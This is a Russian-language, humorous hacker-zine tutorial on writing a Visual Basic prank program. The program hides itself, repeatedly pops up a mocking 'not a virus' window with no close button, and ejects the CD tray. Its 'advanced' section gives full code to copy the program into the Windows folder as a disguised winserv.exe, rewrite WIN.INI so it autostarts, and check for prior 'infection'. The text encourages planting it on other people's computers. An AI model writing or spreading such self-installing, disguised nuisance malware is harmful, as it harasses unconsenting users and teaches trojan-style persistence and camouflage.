Бешеная блинница на Vsual Basic

Обращение к народу 🙂

Дарова, начинающий кодер :)! Сегодня мы будет учиться кодить на Васике. Эээйй! Куда пошел? А ну вернись обратно! Говоришь, Васик — саксь, и на нем ничего путного написать нельзя, да!? Знаешь, что по этому поводу сказал мне мой друг Sinner? «Не, так дело не пойдет… Между прочим, знаешь ли ты, что вири Mellisa и I Love You написаны на VBasic’e? И все про них говорят, типа, вот парни крутые, такие вири накатали, млин. Но проходит время, и Васик опять дерьмо :(. Нееет, так не пойдет… «.

Лампочка Ильича

Слышал про прогу FloppyMadness? Нет!? Для тех, кто в бронетранспортере — иди читать Х (рубрику ШарОварЫ). Когда я про эту програмулину прочитал, в моем мозгу зажглась лампа Ильича — вот ОНО, то, что нужно! И захотелось мне чего-то такого же, только другого! 🙂 Ёклмн, подумал я, дык ведь я же кодить умею! Взял Васик и начал химичить… 🙂 Долго химичил — этак примерно часик, полтора. Зато какая прога вышла — загляденье. Вроде небольшая программулина, зато какие возможности и потенциал: каждые N секунд она показывает безобидное окошко с надписью «Это не вирус!!! Но не забудь Анти-Вирус!!!» (конечно, звучит туповато, зато издевательски) и… играет с CD-ROM’ом… типа есть… нету… есть… нету… Тупо, скажешь ты. Знаю, тупо, но прикинь — играет юзверь ушастый в какой-нибудь гамес или юзает (юзверь по определению должен юзать — прямая обязанность, паимаишь :)) прогу, активно обращающуюся к компакту… Ну, допустим, ему надо срочно залить на хард большое файло с одноглазого. 1%… 10%… 50%… 99%… и тут на него налетает подосланная тобой птица обломинго. Ты представляешь его рожу в этот момент? Самое кульное — к сидюку никак не подобраться, а если юзер еще и нервный (ну естесно! после такого и не таким станешь :)), то ему в процессе крушения всех и вся будет не до залезания в «Завершение работы программы» и ее дальнейшего прибивания. Конечно, это тоже можно обойти путем перенесения проги на Дэльфи и вставки небольшого кода, но статья — не об этом (если уж так захотелось, загляни в Х про халявный Инет, рубрику — «Рождение Дьявола», там все прозрачно :).

InStRUMents

Для написания этой рульной программулины тебе понадобятся:

1) M$ VizualBasic. Какая версия? Ну… 32-х битная (от 4-ой и выше, так как VB 3.0 — 16 битная, хотя VB4 есть и 16 битная версия тоже). Я лично юзаю версию 4-32bit. Если у тебя версия 5 или 6, то все описанные ниже мною действия должны осуществляться по аналогии, короче, сам разберешься — большой уже :).

2) Свободное время, т.к. без свободного времени ни одну прогу не напишешь, поверь.

3) Что-нибудь пожевать. Все что душе угодно, лишь бы рот был занят: когда прога не будет работать и в ее адрес полетят всякие слова и обороты, то из твоего набитого жратвой рта будет доноситься только жалкое мычание :).

Ну, еще не помешает наличие черепной коробки, занятой серым веществом (кстати, в мозгах, помимо серого вещества (чувствительные нейроны), есть еще и белое — промежуточные. Не веришь — распотроши соседа, только потом убери рабочее место за собой :)).

LeT’z Go…

Для начала подрули мышой к меню File и ткни на New Project. Готово? Так, теперь ткни на Tools -> Custom Controls. Отлично. Да ты способный, я смотрю :). Убери все галочки (если есть) и отметь Micro$oft Multimedia Control. Далее дави на пимпу Ok, только посильнее дави, они нынче упругие пошли :(.

Сокращенно эта фишка (MS Multimedia Control) называется MCI. Зачем она потребовалась? MCI — такая тема, которая позволяет делать CD-Player. Прикинь, пельмень, мы заодно и Блино-плеер замутим :). Ладно, поехали дальше… Сам себе Спилберг. Все приготовления сделаны, будем разбираться с формой… Далее идет среднее по сложности — поклацкать мышой в нужных местах, если ты еще не оправился от кнопенции Ок, то передохни часок-другой. Да, кстати, я надеюсь, ты не сломал крысу, когда сильно давил по пимпе «Все пинцетно»? Мдя… Ты что, не понял, это была ШУТКА, нужно было легонько кликнуть по левому батону серого существа (у кого, говорят, и белого), и всё :). Доставай вторую — я продолжаю :). Значит так, у тебя в окошке со всякими пимпами (слева) добавилась еще одна — MMControl. Так вот, ты ее не трогай :). Для начала размести на форме (главном окне твоей проги, обычно оно называется «Form1») такую лабуду, как Label и Timer.

Теперь кликни ОДИН раз по Label’у и залезь в окно Properties (свойства, справа). Найди пункт Caption (надпись) и поменяй значение на «Дарова тебе! Это не вирус, но не забудь Анти-Вирус!!!». В итоге все должно выглядеть так:

Галимо, правда? Теперь опять клацкни мышой по Label’у и лезь в свойства. Ищи пункт Font, выделяй его. Увидел справа такую пимпу с тремя точками? Смело дави ее (можно НА нее :)). Появилось окно «Выбор шрифта» (если Вынь русский). Выбираем MS Sans Serif, полужирный курсив, размер 18. Вроде стало лучше, но чего-то все еще не хватает :(. И снова кликаем по замученному Label’у и лезем в свойства… На этот раз выбираем ForeColor. Опять появляется пимпа с тремя точками -> подруливаем и прицельно клацкаем мышой, дабы не промахнуться :). Появилось окошко выбора цвета, следовательно, надо выбирать цвет :). Я выбрал красный. Так, готово. Теперь перетащи на форму MMControl. Один клик по этой фишке -> свойства -> пункт Visible (видимый?) ставь False. Зачем? А пусть не светится :).

Ок, готово… Только одно НО. Ты не заметил, что форма немного не совпадает с размерами Label’а, а надпись («Дарова тебе!<…>») расположена не в одну строку? Да? Так чего же ты ждешь? Давай, дерзай :). Сделал? Теперь лезь в свойства формы и ставь Visible на False, потом Caption ->, ставь: «Бешеная блинница». Форму мы спрятали для того, чтобы при запуске проги лишний раз не светиться, дабы не выдать себя раньше часа Х :). Ок. Лезем в свойства таймера (Timer Timer 1) и ставим Interval на 5000 (примерно 5 сек). После всех манипуляций форма должна выглядеть примерно так:

По оформлению вроде все, можешь вздохнуть облегченно и сбегать за бутылочкой квасу для меня :). Эй, стоп! Самое главное забыли!!! Когда окно появится, то будут светиться пимпы «свернуть» (зачем? пусть будут на виду!), «развернуть» (пущай :)) и «закрыть» (закрыть!? зачем!? нам и так весело! :)), так что их надо убрать. Подруливаем крысой к окну Свойства, выбираем «Form1 Form». Готово? Ладно, подожду… Все? Ок. Ищем пункт MaxButton (РАЗвернуть) — ставим False. Теперь ищем MinButton (сВЕРНУТЬ?) — опять False. Далее ставим ControlBox (заКРЫТЬ!?) на False и BorderStyle (тип границ окна) на 1 — FixedSingle — чтоб не сперли 🙂 — шутка — чтоб не изменили размер. Вот теперь по оформлению точно все :). Если сильно распирает любопытство, то можешь запустить. Для этого залезь в меню Run -> Start. Если ленивый, то нажми на пимпу с кнопкой «>» (8-я справа, под меню Add-Ins). Ну а если ты дипломированный лентяй — просто надави на пимпу F5 :). Только есть один трабл — помнишь, как мы поставили Visible на False в свойствах формы? Вот :).

Кодинг во всей красе

Вот мы и доковыляли до самого интересного, до кодинга :). Все знают, что если кодер — настоящий кодер, то ему нравится кодить :). Приступим… Для начала двойной клик по Label’у. Появилось окошко Form1 и две менюшки — Object: Label1, Proc: Click. Это нам не нужно. В первой менюшке выбираем Form1, во второй — Load. Появилась процедура Form_Load(), которая будет вызываться при загрузке программы :). Для написания самого кода процы надо решить, что будет делать наша прога. Для начала представим, что нашО файлО называется BLIN.EXE. Ок? Если не нравится, то можешь изменить. Сама идея нашей программулины какая? Правильно, играть с подставкой для кофЭ. Что бы все это работало, нужно инициализировать MMControl1, ответственный за все. Добавь вот эти строчки:

MMControl1.UpdateInterval = 0 ‘ интервал между проверками наличия одноглазого %)

MMControl1.DeviceType = «CDAudio» ‘ — а что вам нужно? — CDAudio!

MMControl1.Command = «Open» ‘ за работу!

Ввел? Отлично. Теперь разберемся, что же ЭТО тако было :). Первой строкой мы установили интервал между проверками наличия компакта, равный 0, что значит — без задержки, т.е. проверил, еще раз проверил, потом еще раз… и т.д. Второй строкой мы вежливо дали понять твоему железному другу, что якобы собираемся прослушивать музыкальные компакты, что само по себе не так :). Хотя ты вполне можешь это реализовать :). Последней строкой мы заставили комп начать работу с одноглазыми (работать!? нееее… :)). Теперь осталось закодить еще одну процедуру, ответственную за показ окна и выдвигание подставочки. Лезь в Object: Timer1, Proc : Timer. Появилась проца Timer1_Timer(). Будем писать ее… Опять добавим три строчки:

If Not Form1.Visible Then Form1.Visible = True Else Form1.Visible = False ‘ есть… нету… 🙂

MMControl1.Command = «Open»

MMControl1.Command = «Eject» ‘ поиграем, гы-гы-гы.

Я думаю, первая строка тебе понятна. Для тех кто в танке: если окно показано, то убираем, если не показано, то показываем. Дошло? Ну слава Богу :). Со второй строкой ты уже встречался, так что объяснять нет смысла, ну нету смысла и все тут… 🙂 Ну а что же это за заветная третья строка? О, этой строкой мы делаем самое главное — заставляем нервничать юзверя ушастого или просто выдвигаем\задвигаем подставку для кофе. Все. Можешь смело запускать и радоваться своему творению. Только тут есть один баг — если в цэдероме нету блина, то подставка не выезжает. Но это не сильно важно, смею тебя заверить.

Самое интересное… для продвинутых 🙂

Слышь, пельмень, ты не заметил, что чего-то в нашей прогенции не хватает? Вот смотри: запустит юзверь прогу, разозлится и перезагрузит комп :(. Обидно… Надо это дело обходить. Есть такой файл в каталоге Выни, WIN.INI называется, а в нем, в свою очередь, есть строка — run=<имя_файла>. Так вот, если в эту строку поставить нашу прогу, то будет кульно, очень кульно :).

Для начала нужно определить каталог Выни. Это, конечно, можно сделать ОЧЕНЬ просто (даже еще проще), но мы пойдем другим путем. В корневом каталоге диска С: есть рульное файло — MSDOS.SYS называется, там тоже есть строчка — WinDir=<путь_к_выни>, она-то нам и нужна. Пиши (в самом начале Form_Load):

Open «c:\msdos.sys» For Input As #1 ‘ откроем файл для чтения…

Input #1, MustDieDir ‘ строка «WinDir=каталог_выни»

Input #1, MustDieDir ‘ вторая по счету

Close #1 ‘ закроем 🙂

MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) — 7) ‘ убираем «WinDir=», т.е. вытираем все буквы, начиная с первой и заканчивая 7-й включительно.

Теперь у нас в переменной MustDieDir хранится название каталога Выни. Дальше нам нужно закопироваться в этот каталог с каким-нибудь «умным» названием — winserv.exe, например (ой, это уже что-то вроде трояна получается :)). Для этого в VisalBasic’е есть проца — FileCopy <откуда_и_что>,<куда>. Пиши:

FileCopy «blin.exe», MustDieDir + «\winserv.exe» ‘ дополним Вынь нужной службой, убирающей баги :)).

Осталось только обеспечить себе автозагрузку. Это, с одной стороны, просто, а с другой — еще проще. Для начала сделаем копию WIN.INI для дальнейшего использования. Назовем это файло, например, blin.col. После этого подправим старый WIN.INI, для начала удалив его, а потом восстановив построчным копированием с небольшим изменением строки «run=». Набивай, если не устал, а если устал, то попроси соседа — он с радостью тебе поможет:

FileCopy MustDieDir + «\win.ini», MustDieDir + «\blin.col» ‘ делаем копию, надо

Open MustDieDir + «\blin.col» For Input As #1 ‘ конструируем новый WIN.INI

Open MustDieDir + «\win.ini» For Output As #2 ‘ сначала вытрем старый, а зачем он нам?

While Not EOF(1) ‘ пока файл не кончился, копируем построчно

Input #1, Temp ‘ читаем

If Mid$(Temp, 1, 4) = «run=» Then Temp = «run=winserv.exe» ‘ прописываемся в «run=»

Print #2, Temp ‘ пишем 🙂

Wend

Close #1, #2

Вроде все хорошо, даже работает, но есть один баг — каждый раз копировать WIN.INI и самого себя? Вот, надо просто добавить проверку на «инфицированность» (эти строчки вставляй после MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) — 7) ):

Open MustDieDir + «\win.ini» For Input As #1 ‘ получили каталог Выни

Input #1, Run ‘ ищем строку «run=»

Input #1, Run ‘ теперь уже третья по счету 🙂

Input #1, Run ‘ вот она, родненькая 🙂

Close #1

If Run = «run=winserv.exe» Then GoTo Infected ‘ а мы тута уже были?

Теперь добавь метку Infrcted: перед MMControl1.UpdateInterval = 0

Все! Прога готова, аплодисменты :).

ЭпилоГ

Вот видишь, какая рульная прога получилась, а ты говорил — Васик саксь, Васик саксь… Естественно, эта прога не совершенна — например, если у тебя стоит Windows NT/2K, то весь кайф обломится :(. Но, как говориться в народе: «НЕТ предела совершенству». Так что не боись кодить, это даже интересно, а иногда затягивает по самые уши :). Хм, чуть не забыл архиважнейшую вещь! Эта прога написана на VisualBasic’е, о чем это говорит? Правильно, сам по себе .EXE’шник работать не будет. Вместе с прогой придется впаривать MCI32.OCX (обычно C:\WINDOWS\SYSTEM) и VBxxxxxx.DLL или VBRUNx00.DLL (тоже C:\WINDOWS\SYSTEM, у меня этот файл называется VB40032.DLL), но с вопросами впаривания, я думаю, ты справишься :)). Удачи!

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

81 − = 77